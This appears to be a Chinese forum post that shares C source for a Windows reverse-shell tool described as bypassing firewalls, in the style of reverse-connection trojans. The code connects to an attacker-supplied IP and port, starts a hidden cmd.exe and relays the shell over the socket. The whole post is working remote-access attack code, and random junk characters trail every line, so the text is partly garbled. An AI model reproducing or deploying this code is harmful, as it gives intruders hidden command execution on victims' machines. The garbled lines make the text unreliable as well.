这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '>ASr]Q
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/* ============================== 2D(sA
Rebound port in Windows NT Vm?# ~}T
By wind,2006/7 1`1jSx5}.
===============================*/ a ~YrQI-@
#include >k
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#include cTz@ga;!mI
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#pragma comment(lib,"wsock32.lib") ^*YoNd_kpN
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void OutputShell(); ,PoG=W
SOCKET sClient; \K9.]PfbI
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; fWPa1E@
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void main(int argc,char **argv) ?H!jKX
{ Nd]RbX
WSADATA stWsaData; )Z/$;7]#
int nRet; <"K2t
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SOCKADDR_IN stSaiClient,stSaiServer; n=)LB&
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if(argc != 3) pP#D*hiP-g
{ /Xj{]i3{
printf("Useage:\n\rRebound DestIP DestPort\n"); k( Ik+=u
return; h oO847
} *o5[P\'6
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WSAStartup(MAKEWORD(2,2),&stWsaData); Pl!E$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^62z\Y
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stSaiClient.sin_family = AF_INET; l-cBN^^
stSaiClient.sin_port = htons(0); pHx$
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3-E-\5I
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) @{UUB=}9
{ Tay$::V
printf("Bind Socket Failed!\n"); ~9OZRt[&
return; TV0sxod6
} JhjH_)
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stSaiServer.sin_family = AF_INET; iITMBS`}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); p s?su`
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~%lA!tsek
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }D+ b`,
{ s?s,wdp
printf("Connect Error!"); $9j>oUG
return; BW6Ox=sr<
} ,}khu
OutputShell(); x4PzP
} ]%I\FefT
#?+[|RS|
void OutputShell() FZ}^)u}o
{ FZ RnIg
char szBuff[1024]; "+4Jmf9
SECURITY_ATTRIBUTES stSecurityAttributes; E24SD' |)
OSVERSIONINFO stOsversionInfo; }ng?Ar[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; T`pDjT
STARTUPINFO stStartupInfo; `&.qHw)
char *szShell; ?-%(K^y4r
PROCESS_INFORMATION stProcessInformation; 3UmkFK<
unsigned long lBytesRead; "wcw`TsK
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OiXO<1'$
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7QnWw0
stSecurityAttributes.lpSecurityDescriptor = 0; oH&@F@r:+
stSecurityAttributes.bInheritHandle = TRUE; eub}+~_?[
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Nd"IW${Kg
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *!TQC6b$
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A`JE(cIz3
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z. X
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stStartupInfo.wShowWindow = SW_HIDE; M9o/6
stStartupInfo.hStdInput = hReadPipe; oK-d58 sM
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X `EVjK
bM5V=b_H
GetVersionEx(&stOsversionInfo); 8X.=
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switch(stOsversionInfo.dwPlatformId) 1<Mb@t
{ < qab\M0W
case 1: ]P#W\LZp
szShell = "command.com"; cr<j<#(Z}
break; Y3~z#<
default: K?[Vz[-Fc
szShell = "cmd.exe"; KAD2_@l
break; h,B4Tg'
} AG}j'
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,`Z4fz:
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send(sClient,szMsg,77,0); rr2!H%:
while(1) <`"
{ z/h]Jos
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); GDC@s<[k
if(lBytesRead) @[?ZwzY:9
{ j0X^,ot@m
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F .Zk};lb
send(sClient,szBuff,lBytesRead,0); [zm@hxym
} kaQNcMcq
else uF|_6~g
{ i/n
ee_
lBytesRead=recv(sClient,szBuff,1024,0); *k_<|{>j(
if(lBytesRead<=0) break; WEX7=^k9
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8f[ztT0`g
} [ dVBsi
} fCN+9!ljG`
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return; kvbW^pl
}